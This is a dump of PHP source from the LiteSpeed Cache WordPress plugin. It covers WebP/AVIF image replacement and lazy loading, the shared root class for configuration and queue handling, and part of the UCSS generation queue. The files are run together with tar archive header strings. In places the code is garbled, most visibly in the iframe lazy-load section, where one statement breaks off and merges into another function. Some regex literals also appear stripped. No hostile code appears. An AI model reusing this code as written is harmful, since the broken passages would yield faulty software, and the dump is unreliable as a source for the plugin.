$user_agents as $user_agent ) { if ( false !== stripos( $ua, $user_agent ) ) { return true; } } if ( preg_match( '/iPhone OS (\d+)_/i', $ua, $matches ) ) { if ( $matches[1] >= 14 ) { return true; } } if ( preg_match( '/Macintosh.+Version\/([0-9.]+)/i', $ua, $matches ) ) { if ( version_compare( $matches[1], '16.4', '>=' ) ) { return true; } } if ( preg_match( '/Firefox\/(\d+)/i', $ua, $matches ) ) { if ( $matches[1] >= 65 ) { return true; } } } return false; } /** * Get next gen image title. * * @since 7.0 * @return string */ public function next_gen_image_title() { $next_gen_img = 'WebP'; if ( 2 === $this->conf( Base::O_IMG_OPTM_WEBP ) ) { $next_gen_img = 'AVIF'; } return $next_gen_img; } /** * Run lazy load process. * NOTE: As this is after cache finalized, can NOT set any cache control anymore. * * Only do for main page. Do NOT do for esi or dynamic content. * * @since 1.4 * @access public * * @param string $content Final buffer. * @return string The buffer. */ public function finalize( $content ) { if ( defined( 'LITESPEED_NO_LAZY' ) ) { self::debug2( 'bypass: NO_LAZY const' ); return $content; } if ( ! defined( 'LITESPEED_IS_HTML' ) ) { self::debug2( 'bypass: Not frontend HTML type' ); return $content; } if ( ! Control::is_cacheable() ) { self::debug( 'bypass: Not cacheable' ); return $content; } self::debug( 'finalize' ); $this->content = $content; $this->_finalize(); return $this->content; } /** * Run lazyload replacement for images in buffer. * * @since 1.4 * @access private * @return void */ private function _finalize() { /** * Use webp for optimized images. * * @since 1.6.2 */ if ( $this->webp_support() ) { $this->content = $this->_replace_buffer_img_webp( $this->content ); } /** * Check if URI is excluded. * * @since 3.0 */ $excludes = $this->conf( Base::O_MEDIA_LAZY_URI_EXC ); if ( ! defined( 'LITESPEED_GUEST_OPTM' ) ) { $request_uri = isset( $_SERVER['REQUEST_URI'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : ''; $result = $request_uri ? Utility::str_hit_array( $request_uri, $excludes ) : false; if ( $result ) { self::debug( 'bypass lazyload: hit URI Excludes setting: ' . $result ); return; } } $cfg_lazy = ( defined( 'LITESPEED_GUEST_OPTM' ) || $this->conf( Base::O_MEDIA_LAZY ) ) && ! $this->cls( 'Metabox' )->setting( 'litespeed_no_image_lazy' ); $cfg_iframe_lazy = defined( 'LITESPEED_GUEST_OPTM' ) || $this->conf( Base::O_MEDIA_IFRAME_LAZY ); $cfg_js_delay = defined( 'LITESPEED_GUEST_OPTM' ) || 2 === $this->conf( Base::O_OPTM_JS_DEFER ); $cfg_trim_noscript = defined( 'LITESPEED_GUEST_OPTM' ) || $this->conf( Base::O_OPTM_NOSCRIPT_RM ); $cfg_vpi = defined( 'LITESPEED_GUEST_OPTM' ) || $this->conf( Base::O_MEDIA_VPI ); // Preload VPI. if ( $cfg_vpi ) { $this->_parse_img_for_preload(); } if ( $cfg_lazy ) { if ( $cfg_vpi ) { add_filter( 'litespeed_media_lazy_img_excludes', [ $this->cls( 'Metabox' ), 'lazy_img_excludes' ] ); } list( $src_list, $html_list, $placeholder_list ) = $this->_parse_img(); $html_list_ori = $html_list; } else { self::debug( 'lazyload disabled' ); } // image lazy load. if ( $cfg_lazy ) { $__placeholder = Placeholder::cls(); foreach ( $html_list as $k => $v ) { $size = $placeholder_list[ $k ]; $src = $src_list[ $k ]; $html_list[ $k ] = $__placeholder->replace( $v, $src, $size ); } } if ( $cfg_lazy ) { $this->content = str_replace( $html_list_ori, $html_list, $this->content ); } // iframe lazy load. if ( $cfg_iframe_lazy ) { $html_list = $this->_parse_iframe(); $html_list_ori = $html_list; foreach ( $html_list as $k => $v ) { $snippet = $cfg_trim_noscript ? '' : ''; if ( $cfg_js_delay ) { $v = str_replace( ' src=', ' data-litespeed-src=', $v ); } else { $v = str_replace( ' src=', ' data-src=', $v ); } $v = str_replace( '#isU', $content, $matches, PREG_SET_ORDER ); foreach ( $matches as $match ) { $attrs = Utility::parse_attr( $match[1] ); if ( empty( $attrs['src'] ) ) { continue; } self::debug2( 'found iframe: ' . $attrs['src'] ); if ( ! empty( $attrs['data-no-lazy'] ) || ! empty( $attrs['data-skip-lazy'] ) || ! empty( $attrs['data-lazyloaded'] ) || ! empty( $attrs['data-src'] ) ) { self::debug2( 'bypassed' ); continue; } $hit = ! empty( $attrs['class'] ) ? Utility::str_hit_array( $attrs['class'], $cls_excludes ) : false; if ( $hit ) { self::debug2( 'iframe lazyload cls excludes [hit] ' . $hit ); continue; } if ( apply_filters( 'litespeed_iframe_lazyload_exc', false, $attrs['src'] ) ) { self::debug2( 'bypassed by filter' ); continue; } // to avoid multiple replacement. if ( in_array( $match[0], $html_list, true ) ) { continue; } $html_list[] = $match[0]; } return $html_list; } /** * Replace image src to webp/avif in buffer. * * @since 1.6.2 * @access private * * @param string $content HTML content. * @return string Modified content. */ private function _replace_buffer_img_webp( $content ) { /** * Added custom element & attribute support. * * @since 2.2.2 */ $webp_ele_to_check = $this->conf( Base::O_IMG_OPTM_WEBP_ATTR ); foreach ( $webp_ele_to_check as $v ) { if ( ! $v || false === strpos( $v, '.' ) ) { self::debug2( 'buffer_webp no . attribute ' . $v ); continue; } self::debug2( 'buffer_webp attribute ' . $v ); $v = explode( '.', $v ); $attr = preg_quote( $v[1], '#' ); if ( $v[0] ) { $pattern = '#<' . preg_quote( $v[0], '#' ) . '([^>]+)' . $attr . '=([\'"])(.+)\2#iU'; } else { $pattern = '# ' . $attr . '=([\'"])(.+)\1#iU'; } preg_match_all( $pattern, $content, $matches ); foreach ( $matches[ $v[0] ? 3 : 2 ] as $k2 => $url ) { // Check if is a DATA-URI. if ( false !== strpos( $url, 'data:image' ) ) { continue; } $url2 = $this->replace_webp( $url ); if ( ! $url2 ) { continue; } if ( $v[0] ) { $html_snippet = sprintf( '<' . $v[0] . '%1$s' . $v[1] . '=%2$s', $matches[1][ $k2 ], $matches[2][ $k2 ] . $url2 . $matches[2][ $k2 ] ); } else { $html_snippet = sprintf( ' ' . $v[1] . '=%1$s', $matches[1][ $k2 ] . $url2 . $matches[1][ $k2 ] ); } $content = str_replace( $matches[0][ $k2 ], $html_snippet, $content ); } } // parse srcset. // todo: should apply this to cdn too. if ( ( defined( 'LITESPEED_GUEST_OPTM' ) || $this->conf( Base::O_IMG_OPTM_WEBP_REPLACE_SRCSET ) ) && $this->webp_support() ) { $content = Utility::srcset_replace( $content, [ $this, 'replace_webp' ] ); } // Replace background-image. if ( ( defined( 'LITESPEED_GUEST_OPTM' ) || $this->conf( Base::O_IMG_OPTM_WEBP ) ) && $this->webp_support() ) { $content = $this->replace_background_webp( $content ); } return $content; } /** * Replace background image in inline styles and JSON blobs. * * @since 4.0 * * @param string $content HTML content. * @return string Modified content. */ public function replace_background_webp( $content ) { self::debug2( 'Start replacing background WebP/AVIF.' ); // Handle Elementor's data-settings JSON encoded background-images. $content = $this->replace_urls_in_json( $content ); preg_match_all( '#url\(([^)]+)\)#iU', $content, $matches ); foreach ( $matches[1] as $k => $url ) { // Check if is a DATA-URI. if ( false !== strpos( $url, 'data:image' ) ) { continue; } /** * Support quotes in src `background-image: url('src')`. * * @since 2.9.3 */ $url = trim( $url, '\'"' ); // Fix Elementor's Slideshow unusual background images like style="background-image: url("https://xxxx.png");" if ( 0 === strpos( $url, '"' ) && '"' === substr( $url, -6 ) ) { $url = substr( $url, 6, -6 ); } $url2 = $this->replace_webp( $url ); if ( ! $url2 ) { continue; } $html_snippet = str_replace( $url, $url2, $matches[0][ $k ] ); $content = str_replace( $matches[0][ $k ], $html_snippet, $content ); } return $content; } /** * Replace images in json data settings attributes. * * @since 6.2 * * @param string $content HTML content to scan and modify. * @return string Modified content with replaced URLs inside JSON attributes. */ public function replace_urls_in_json( $content ) { $pattern = '/data-settings="(.*?)"/i'; $parent_class = $this; preg_match_all( $pattern, $content, $matches, PREG_SET_ORDER ); foreach ( $matches as $match ) { // Check if the string contains HTML entities. $is_encoded = preg_match( '/"|<|>|&|'/', $match[1] ); // Decode HTML entities in the JSON string. $json_string = html_entity_decode( $match[1] ); $json_data = \json_decode( $json_string, true ); if ( JSON_ERROR_NONE === json_last_error() && is_array( $json_data ) ) { $did_webp_replace = false; array_walk_recursive( $json_data, /** * Replace URLs in JSON data recursively. * * @param mixed $item Value (modified in place). * @param string $key Array key. */ function ( &$item, $key ) use ( &$did_webp_replace, $parent_class ) { if ( 'url' === $key ) { $item_image = $parent_class->replace_webp( $item ); if ( $item_image ) { $item = $item_image; $did_webp_replace = true; } } } ); if ( $did_webp_replace ) { // Re-encode the modified array back to a JSON string. $new_json_string = wp_json_encode( $json_data ); // Re-encode the JSON string to HTML entities only if it was originally encoded. if ( $is_encoded ) { $new_json_string = htmlspecialchars( $new_json_string, ENT_QUOTES | 0 ); // ENT_HTML401 for PHP>=5.4. } // Replace the old JSON string in the content with the new, modified JSON string. $content = str_replace( $match[1], $new_json_string, $content ); } } } return $content; } /** * Replace internal image src to webp or avif. * * @since 1.6.2 * @access public * * @param string $url Image URL. * @return string|false Replaced URL or false if not applicable. */ public function replace_webp( $url ) { if ( ! $this->webp_support() ) { self::debug2( 'No next generation format chosen in setting, bypassed' ); return false; } // Parse extension from URL path. $url_path = wp_parse_url( $url, PHP_URL_PATH ); $postfix = $url_path ? strtolower( pathinfo( $url_path, PATHINFO_EXTENSION ) ) : ''; // Only process image formats that can be converted to WebP/AVIF. if ( ! in_array( $postfix, [ 'jpg', 'jpeg', 'png', 'gif' ], true ) ) { self::debug2( 'not convertible format, bypassed' ); return false; } self::debug2( $this->_sys_format . ' replacing: ' . substr( $url, 0, 200 ) . ' [.' . $postfix . ']' ); /** * WebP/AVIF API hook. * NOTE: As $url may contain query strings, check filters which may parse_url before appending format. * * @since 2.9.5 * @see #751737 - API docs for WebP generation */ $ori_check = apply_filters( 'litespeed_media_check_ori', Utility::is_internal_file( $url ), $url ); if ( $ori_check ) { // check if has webp/avif file. $has_next = apply_filters( 'litespeed_media_check_webp', Utility::is_internal_file( $url, $this->_sys_format ), $url ); if ( $has_next ) { $url .= '.' . $this->_sys_format; } else { self::debug2( '-no WebP or AVIF file, bypassed' ); return false; } } else { self::debug2( '-no file, bypassed' ); return false; } self::debug2( '- replaced to: ' . $url ); return $url; } /** * Hook to wp_get_attachment_image_src. * * @since 1.6.2 * @access public * * @param array $img The URL, width, height array. * @return array */ public function webp_attach_img_src( $img ) { self::debug2( 'changing attach src: ' . $img[0] ); $url = $img ? $this->replace_webp( $img[0] ) : false; if ( $url ) { $img[0] = $url; } return $img; } /** * Try to replace img url. * * @since 1.6.2 * @access public * * @param string $url Image URL. * @return string */ public function webp_url( $url ) { $url2 = $url ? $this->replace_webp( $url ) : false; if ( $url2 ) { $url = $url2; } return $url; } /** * Hook to replace WP responsive images. * * @since 1.6.2 * @access public * * @param array $srcs Srcset array. * @return array */ public function webp_srcset( $srcs ) { if ( $srcs ) { foreach ( $srcs as $w => $data ) { $url = $this->replace_webp( $data['url'] ); if ( ! $url ) { continue; } $srcs[ $w ]['url'] = $url; } } return $srcs; } } root.cls.php000064400000034447152077520270007043 0ustar00conf(Base::O_CACHE_MOBILE); } /** * Log an error message * * @since 7.0 */ public static function debugErr( $msg, $backtrace_limit = false ) { $msg = '❌ ' . $msg; self::debug($msg, $backtrace_limit); } /** * Log a debug message. * * @since 4.4 * @access public */ public static function debug( $msg, $backtrace_limit = false ) { if (!defined('LSCWP_LOG')) { return; } if (defined('static::LOG_TAG')) { $msg = static::LOG_TAG . ' ' . $msg; } Debug2::debug($msg, $backtrace_limit); } /** * Log an advanced debug message. * * @since 4.4 * @access public */ public static function debug2( $msg, $backtrace_limit = false ) { if (!defined('LSCWP_LOG_MORE')) { return; } if (defined('static::LOG_TAG')) { $msg = static::LOG_TAG . ' ' . $msg; } Debug2::debug2($msg, $backtrace_limit); } /** * Check if there is cache folder for that type * * @since 3.0 */ public function has_cache_folder( $type ) { $subsite_id = is_multisite() && !is_network_admin() ? get_current_blog_id() : ''; if (file_exists(LITESPEED_STATIC_DIR . '/' . $type . '/' . $subsite_id)) { return true; } return false; } /** * Maybe make the cache folder if not existed * * @since 4.4.2 */ protected function _maybe_mk_cache_folder( $type ) { if (!$this->has_cache_folder($type)) { $subsite_id = is_multisite() && !is_network_admin() ? get_current_blog_id() : ''; $path = LITESPEED_STATIC_DIR . '/' . $type . '/' . $subsite_id; mkdir($path, 0755, true); } } /** * Delete file-based cache folder for that type * * @since 3.0 */ public function rm_cache_folder( $type ) { if (!$this->has_cache_folder($type)) { return; } $subsite_id = is_multisite() && !is_network_admin() ? get_current_blog_id() : ''; File::rrmdir(LITESPEED_STATIC_DIR . '/' . $type . '/' . $subsite_id); // Clear All summary data self::save_summary(false, false, true); if ($type == 'ccss' || $type == 'ucss') { Debug2::debug('[CSS] Cleared ' . $type . ' queue'); } elseif ($type == 'avatar') { Debug2::debug('[Avatar] Cleared ' . $type . ' queue'); } elseif ($type == 'css' || $type == 'js') { return; } else { Debug2::debug('[' . strtoupper($type) . '] Cleared ' . $type . ' queue'); } } /** * Build the static filepath * * @since 4.0 */ protected function _build_filepath_prefix( $type ) { $filepath_prefix = '/' . $type . '/'; if (is_multisite()) { $filepath_prefix .= get_current_blog_id() . '/'; } return $filepath_prefix; } /** * Load current queues from data file * * @since 4.1 * @since 4.3 Elevated to root.cls */ public function load_queue( $type ) { $filepath_prefix = $this->_build_filepath_prefix($type); $static_path = LITESPEED_STATIC_DIR . $filepath_prefix . '.litespeed_conf.dat'; $queue = array(); if (file_exists($static_path)) { $queue = \json_decode(file_get_contents($static_path), true) ?: array(); } return $queue; } /** * Save current queues to data file * * @since 4.1 * @since 4.3 Elevated to root.cls */ public function save_queue( $type, $list ) { $filepath_prefix = $this->_build_filepath_prefix($type); $static_path = LITESPEED_STATIC_DIR . $filepath_prefix . '.litespeed_conf.dat'; $data = \json_encode($list); File::save($static_path, $data, true); } /** * Clear all waiting queues * * @since 3.4 * @since 4.3 Elevated to root.cls */ public function clear_q( $type, $silent = false ) { $filepath_prefix = $this->_build_filepath_prefix($type); $static_path = LITESPEED_STATIC_DIR . $filepath_prefix . '.litespeed_conf.dat'; if (file_exists($static_path)) { $silent = false; unlink($static_path); } if (!$silent) { $msg = __('All QUIC.cloud service queues have been cleared.', 'litespeed-cache'); Admin_Display::success($msg); } } /** * Load an instance or create it if not existed * * @since 4.0 */ public static function cls( $cls = false, $unset = false, $data = false ) { if (!$cls) { $cls = self::ori_cls(); } $cls = __NAMESPACE__ . '\\' . $cls; $cls_tag = strtolower($cls); if (!isset(self::$_instances[$cls_tag])) { if ($unset) { return; } self::$_instances[$cls_tag] = new $cls($data); } elseif ($unset) { unset(self::$_instances[$cls_tag]); return; } return self::$_instances[$cls_tag]; } /** * Set one conf or confs */ public function set_conf( $id, $val = null ) { if (is_array($id)) { foreach ($id as $k => $v) { $this->set_conf($k, $v); } return; } self::$_options[$id] = $val; } /** * Set one primary conf or confs */ public function set_primary_conf( $id, $val = null ) { if (is_array($id)) { foreach ($id as $k => $v) { $this->set_primary_conf($k, $v); } return; } self::$_primary_options[$id] = $val; } /** * Set one network conf */ public function set_network_conf( $id, $val = null ) { if (is_array($id)) { foreach ($id as $k => $v) { $this->set_network_conf($k, $v); } return; } self::$_network_options[$id] = $val; } /** * Set one const conf */ public function set_const_conf( $id, $val ) { self::$_const_options[$id] = $val; } /** * Check if is overwritten by const * * @since 3.0 */ public function const_overwritten( $id ) { if (!isset(self::$_const_options[$id]) || self::$_const_options[$id] == self::$_options[$id]) { return null; } return self::$_const_options[$id]; } /** * Check if is overwritten by primary site * * @since 3.2.2 */ public function primary_overwritten( $id ) { if (!isset(self::$_primary_options[$id]) || self::$_primary_options[$id] == self::$_options[$id]) { return null; } // Network admin settings is impossible to be overwritten by primary if (is_network_admin()) { return null; } return self::$_primary_options[$id]; } /** * Check if is overwritten by filter. * * @since 7.7 */ public function filter_overwritten( $id ) { $val_setting = $this->conf($id, true); // if setting not found if( null === $val_setting ){ return null; } $filter_name = 'litespeed_conf_load_option_' . $id; $val_filter = apply_filters($filter_name, $val_setting ); if ($val_setting === $val_filter) { // If the value is the same, return null. return null; } return $val_filter; } /** * Check if is overwritten by code filter * * @deprecated 7.7 Use general filter_overwritten() * @since 7.4 */ public function deprecated_filter_overwritten( $id ) { $cls_admin_display = Admin_Display::$settings_filters; // Check if filter name is set. if(!isset($cls_admin_display[$id]) || !isset($cls_admin_display[$id]['filter']) || is_array($cls_admin_display[$id]['filter']) ){ return null; } $val_setting = $this->conf($id, true); // if setting not found if( null === $val_setting ){ $val_setting = ''; } $val_filter = apply_filters($cls_admin_display[$id]['filter'], $val_setting ); if ($val_setting === $val_filter) { // If the value is the same, return null. return null; } return $val_filter; } /** * Check if is overwritten by $SERVER variable * * @since 7.4 */ public function server_overwritten( $id ) { $cls_admin_display = Admin_Display::$settings_filters; if(!isset($cls_admin_display[$id]['filter'])){ return null; } if(!is_array($cls_admin_display[$id]['filter'])) { $cls_admin_display[$id]['filter'] = array( $cls_admin_display[$id]['filter'] ); } foreach( $cls_admin_display[$id]['filter'] as $variable ){ if(isset($_SERVER[$variable])) { return [ $variable , $_SERVER[$variable] ] ; } } return null; } /** * Get the list of configured options for the blog. * * @since 1.0 */ public function get_options( $ori = false ) { if (!$ori) { return array_merge(self::$_options, self::$_primary_options, self::$_network_options, self::$_const_options); } return self::$_options; } /** * If has a conf or not */ public function has_conf( $id ) { return array_key_exists($id, self::$_options); } /** * If has a primary conf or not */ public function has_primary_conf( $id ) { return array_key_exists($id, self::$_primary_options); } /** * If has a network conf or not */ public function has_network_conf( $id ) { return array_key_exists($id, self::$_network_options); } /** * Get conf */ public function conf( $id, $ori = false ) { if (isset(self::$_options[$id])) { if (!$ori) { $val = $this->const_overwritten($id); if ($val !== null) { defined('LSCWP_LOG') && Debug2::debug('[Conf] 🏛️ const option ' . $id . '=' . var_export($val, true)); return $val; } $val = $this->primary_overwritten($id); // Network Use primary site settings if ($val !== null) { return $val; } $val = $this->filter_overwritten($id); if ($val !== null) { return $val; } } // Network original value will be in _network_options if (!is_network_admin() || !$this->has_network_conf($id)) { return self::$_options[$id]; } } if ($this->has_network_conf($id)) { if (!$ori) { $val = $this->const_overwritten($id); if ($val !== null) { defined('LSCWP_LOG') && Debug2::debug('[Conf] 🏛️ const option ' . $id . '=' . var_export($val, true)); return $val; } } return $this->network_conf($id); } defined('LSCWP_LOG') && Debug2::debug('[Conf] Invalid option ID ' . $id); return null; } /** * Get primary conf */ public function primary_conf( $id ) { return self::$_primary_options[$id]; } /** * Get network conf */ public function network_conf( $id ) { if (!$this->has_network_conf($id)) { return null; } return self::$_network_options[$id]; } /** * Get called class short name */ public static function ori_cls() { $cls = new \ReflectionClass(get_called_class()); $shortname = $cls->getShortName(); $namespace = str_replace(__NAMESPACE__ . '\\', '', $cls->getNamespaceName() . '\\'); if ($namespace) { // the left namespace after dropped LiteSpeed $shortname = $namespace . $shortname; } return $shortname; } /** * Generate conf name for wp_options record * * @since 3.0 */ public static function name( $id ) { $name = strtolower(self::ori_cls()); return 'litespeed.' . $name . '.' . $id; } /** * Dropin with prefix for WP's get_option * * @since 3.0 */ public static function get_option( $id, $default_v = false ) { $v = get_option(self::name($id), $default_v); // Maybe decode array if (is_array($default_v)) { $v = self::_maybe_decode($v); } return $v; } /** * Dropin with prefix for WP's get_site_option * * @since 3.0 */ public static function get_site_option( $id, $default_v = false ) { $v = get_site_option(self::name($id), $default_v); // Maybe decode array if (is_array($default_v)) { $v = self::_maybe_decode($v); } return $v; } /** * Dropin with prefix for WP's add_option * * @since 3.0 */ public static function add_option( $id, $v ) { add_option(self::name($id), self::_maybe_encode($v)); } /** * Dropin with prefix for WP's add_site_option * * @since 3.0 */ public static function add_site_option( $id, $v ) { add_site_option(self::name($id), self::_maybe_encode($v)); } /** * Dropin with prefix for WP's update_option * * @since 3.0 */ public static function update_option( $id, $v ) { update_option(self::name($id), self::_maybe_encode($v)); } /** * Dropin with prefix for WP's update_site_option * * @since 3.0 */ public static function update_site_option( $id, $v ) { update_site_option(self::name($id), self::_maybe_encode($v)); } /** * Decode an array * * @since 4.0 */ protected static function _maybe_decode( $v ) { if (!is_array($v)) { $v2 = \json_decode($v, true); if ($v2 !== null) { $v = $v2; } } return $v; } /** * Encode an array * * @since 4.0 */ private static function _maybe_encode( $v ) { if (is_array($v)) { $v = \json_encode($v) ?: $v; // Non utf-8 encoded value will get failed, then used ori value } return $v; } /** * Dropin with prefix for WP's delete_option * * @since 3.0 */ public static function delete_option( $id ) { delete_option(self::name($id)); } /** * Dropin with prefix for WP's delete_site_option * * @since 3.0 */ public static function delete_site_option( $id ) { delete_site_option(self::name($id)); } /** * Read summary * * @since 3.0 * @access public */ public static function get_summary( $field = false ) { $summary = self::get_option('_summary', array()); if (!is_array($summary)) { $summary = array(); } if (!$field) { return $summary; } if (array_key_exists($field, $summary)) { return $summary[$field]; } return null; } /** * Save summary * * @since 3.0 * @access public */ public static function save_summary( $data = false, $reload = false, $overwrite = false ) { if ($reload || empty(static::cls()->_summary)) { self::reload_summary(); } $existing_summary = static::cls()->_summary; if ($overwrite || !is_array($existing_summary)) { $existing_summary = array(); } $new_summary = array_merge($existing_summary, $data ?: array()); // self::debug2('Save after Reloaded summary', $new_summary); static::cls()->_summary = $new_summary; self::update_option('_summary', $new_summary); } /** * Reload summary * * @since 5.0 */ public static function reload_summary() { static::cls()->_summary = self::get_summary(); // self::debug2( 'Reloaded summary', static::cls()->_summary ); } /** * Get the current instance object. To be inherited. * * @since 3.0 */ public static function get_instance() { return static::cls(); } } ucss.cls.php000064400000040543152077520270007027 0ustar00_summary = self::get_summary(); add_filter( 'litespeed_ucss_whitelist', [ $this->cls( 'Data' ), 'load_ucss_whitelist' ] ); } /** * Uniform url tag for ucss usage * * @since 4.7 * * @param string|false $request_url The request URL. * @return string The URL tag. */ public static function get_url_tag( $request_url = false ) { $url_tag = $request_url; if (is_404()) { $url_tag = '404'; } elseif (apply_filters('litespeed_ucss_per_pagetype', false)) { $url_tag = Utility::page_type(); self::debug('litespeed_ucss_per_pagetype filter altered url to ' . $url_tag); } return $url_tag; } /** * Get UCSS path * * @since 4.0 * * @param string $request_url The request URL. * @param bool $dry_run Whether to run in dry mode. * @return string|false The UCSS filename or false. */ public function load( $request_url, $dry_run = false ) { // Check UCSS URI excludes $ucss_exc = apply_filters( 'litespeed_ucss_exc', $this->conf( self::O_OPTM_UCSS_EXC ) ); $hit = $ucss_exc ? Utility::str_hit_array( $request_url, $ucss_exc ) : false; if ( $hit ) { self::debug( 'UCSS bypassed due to UCSS URI Exclude setting: ' . $hit ); Core::comment( 'QUIC.cloud UCSS bypassed by setting' ); return false; } $filepath_prefix = $this->_build_filepath_prefix('ucss'); $url_tag = self::get_url_tag($request_url); $vary = $this->cls('Vary')->finalize_full_varies(); $filename = $this->cls('Data')->load_url_file($url_tag, $vary, 'ucss'); if ($filename) { $static_file = LITESPEED_STATIC_DIR . $filepath_prefix . $filename . '.css'; if (file_exists($static_file)) { self::debug2('existing ucss ' . $static_file); // Check if is error comment inside only $tmp = File::read($static_file); if ( '/*' === substr( $tmp, 0, 2 ) && '*/' === substr( trim( $tmp ), -2 ) ) { self::debug2('existing ucss is error only: ' . $tmp); Core::comment('QUIC.cloud UCSS bypassed due to generation error ❌ ' . $filepath_prefix . $filename . '.css'); return false; } Core::comment('QUIC.cloud UCSS loaded ✅ ' . $filepath_prefix . $filename . '.css' ); return $filename . '.css'; } } if ($dry_run) { return false; } Core::comment('QUIC.cloud UCSS in queue'); $uid = get_current_user_id(); $ua = $this->_get_ua(); // Store it for cron $this->_queue = $this->load_queue('ucss'); if (count($this->_queue) > 500) { self::debug('UCSS Queue is full - 500'); return false; } $queue_k = (strlen($vary) > 32 ? md5($vary) : $vary) . ' ' . $url_tag; $this->_queue[ $queue_k ] = [ 'url' => apply_filters( 'litespeed_ucss_url', $request_url ), 'user_agent' => substr( $ua, 0, 200 ), 'is_mobile' => $this->_separate_mobile(), 'is_webp' => $this->cls( 'Media' )->webp_support() ? 1 : 0, 'uid' => $uid, 'vary' => $vary, 'url_tag' => $url_tag, ]; // Current UA will be used to request $this->save_queue('ucss', $this->_queue); self::debug('Added queue_ucss [url_tag] ' . $url_tag . ' [UA] ' . $ua . ' [vary] ' . $vary . ' [uid] ' . $uid); // Prepare cache tag for later purge Tag::add('UCSS.' . md5($queue_k)); return false; } /** * Get User Agent * * @since 5.3 * * @return string The user agent string. */ private function _get_ua() { return ! empty( $_SERVER['HTTP_USER_AGENT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) : ''; } /** * Add rows to q * * @since 5.3 * * @param array $url_files Array of URL file data. * @return false|void False if queue is full. */ public function add_to_q( $url_files ) { // Store it for cron $this->_queue = $this->load_queue('ucss'); if (count($this->_queue) > 500) { self::debug('UCSS Queue is full - 500'); return false; } $ua = $this->_get_ua(); foreach ($url_files as $url_file) { $vary = $url_file['vary']; $request_url = $url_file['url']; $is_mobile = $url_file['mobile']; $is_webp = $url_file['webp']; $url_tag = self::get_url_tag($request_url); $queue_k = (strlen($vary) > 32 ? md5($vary) : $vary) . ' ' . $url_tag; $q = [ 'url' => apply_filters( 'litespeed_ucss_url', $request_url ), 'user_agent' => substr( $ua, 0, 200 ), 'is_mobile' => $is_mobile, 'is_webp' => $is_webp, 'uid' => false, 'vary' => $vary, 'url_tag' => $url_tag, ]; // Current UA will be used to request self::debug('Added queue_ucss [url_tag] ' . $url_tag . ' [UA] ' . $ua . ' [vary] ' . $vary . ' [uid] false'); $this->_queue[$queue_k] = $q; } $this->save_queue('ucss', $this->_queue); } /** * Generate UCSS * * @since 4.0 * * @param bool $keep_going Whether to continue processing. * @return mixed The cron handler result. */ public static function cron( $keep_going = false ) { $_instance = self::cls(); return $_instance->_cron_handler( $keep_going ); } /** * Handle UCSS cron * * @since 4.2 * * @param bool $keep_going Whether to continue processing. * @return mixed The redirect result or void. */ private function _cron_handler( $keep_going ) { $this->_queue = $this->load_queue( 'ucss' ); if ( empty( $this->_queue ) ) { return; } // For cron, need to check request interval too if ( ! $keep_going ) { if (!empty($this->_summary['curr_request']) && time() - $this->_summary['curr_request'] < 300 && !$this->conf(self::O_DEBUG)) { self::debug('Last request not done'); return; } } $i = 0; foreach ($this->_queue as $k => $v) { if (!empty($v['_status'])) { continue; } self::debug('cron job [tag] ' . $k . ' [url] ' . $v['url'] . ($v['is_mobile'] ? ' 📱 ' : '') . ' [UA] ' . $v['user_agent']); if (!isset($v['is_webp'])) { $v['is_webp'] = false; } ++$i; $res = $this->_send_req($v['url'], $k, $v['uid'], $v['user_agent'], $v['vary'], $v['url_tag'], $v['is_mobile'], $v['is_webp']); if (!$res) { // Status is wrong, drop this this->_queue $this->_queue = $this->load_queue('ucss'); unset($this->_queue[$k]); $this->save_queue('ucss', $this->_queue); if ( ! $keep_going ) { return; } if ( $i > 3 ) { GUI::print_loading( count( $this->_queue ), 'UCSS' ); return Router::self_redirect( Router::ACTION_UCSS, self::TYPE_GEN ); } continue; } // Exit queue if out of quota or service is hot if ( 'out_of_quota' === $res || 'svc_hot' === $res ) { return; } $this->_queue = $this->load_queue( 'ucss' ); $this->_queue[ $k ]['_status'] = 'requested'; $this->save_queue( 'ucss', $this->_queue ); self::debug( 'Saved to queue [k] ' . $k ); // only request first one if ( ! $keep_going ) { return; } if ($i > 3) { GUI::print_loading(count($this->_queue), 'UCSS'); return Router::self_redirect(Router::ACTION_UCSS, self::TYPE_GEN); } } } /** * Send to QC API to generate UCSS * * @since 2.3 * @access private * * @param string $request_url The request URL. * @param string $queue_k The queue key. * @param int|false $uid The user ID. * @param string $user_agent The user agent. * @param string $vary The vary string. * @param string $url_tag The URL tag. * @param bool $is_mobile Whether is mobile. * @param bool $is_webp Whether supports webp. * @return string|bool|null The result status. */ private function _send_req( $request_url, $queue_k, $uid, $user_agent, $vary, $url_tag, $is_mobile, $is_webp ) { // Check if has credit to push or not $err = false; $allowance = $this->cls('Cloud')->allowance(Cloud::SVC_UCSS, $err); if (!$allowance) { self::debug('❌ No credit: ' . $err); $err && Admin_Display::error(Error::msg($err)); return 'out_of_quota'; } set_time_limit(120); // Update css request status $this->_summary['curr_request'] = time(); self::save_summary(); // Gather guest HTML to send $html = $this->cls('CSS')->prepare_html($request_url, $user_agent, $uid); if (!$html) { return false; } // Parse HTML to gather all CSS content before requesting $css = false; list(, $html) = $this->prepare_css($html, $is_webp, true); // Use this to drop CSS from HTML as we don't need those CSS to generate UCSS $filename = $this->cls('Data')->load_url_file($url_tag, $vary, 'css'); $filepath_prefix = $this->_build_filepath_prefix('css'); $static_file = LITESPEED_STATIC_DIR . $filepath_prefix . $filename . '.css'; self::debug('Checking combined file ' . $static_file); if (file_exists($static_file)) { $css = File::read($static_file); } if (!$css) { self::debug('❌ No combined css'); return false; } $data = [ 'url' => $request_url, 'queue_k' => $queue_k, 'user_agent' => $user_agent, 'is_mobile' => $is_mobile ? 1 : 0, // todo:compatible w/ tablet 'is_webp' => $is_webp ? 1 : 0, 'html' => $html, 'css' => $css, ]; if (!isset($this->_ucss_whitelist)) { $this->_ucss_whitelist = $this->_filter_whitelist(); } $data['whitelist'] = $this->_ucss_whitelist; self::debug('Generating: ', $data); $json = Cloud::post(Cloud::SVC_UCSS, $data, 30); if (!is_array($json)) { return $json; } // Old version compatibility if (empty($json['status'])) { if (!empty($json['ucss'])) { $this->_save_con('ucss', $json['ucss'], $queue_k, $is_mobile, $is_webp); } // Delete the row return false; } // Unknown status, remove this line if ( 'queued' !== $json['status'] ) { return false; } // Save summary data $this->_summary['last_spent'] = time() - $this->_summary['curr_request']; $this->_summary['last_request'] = $this->_summary['curr_request']; $this->_summary['curr_request'] = 0; self::save_summary(); return true; 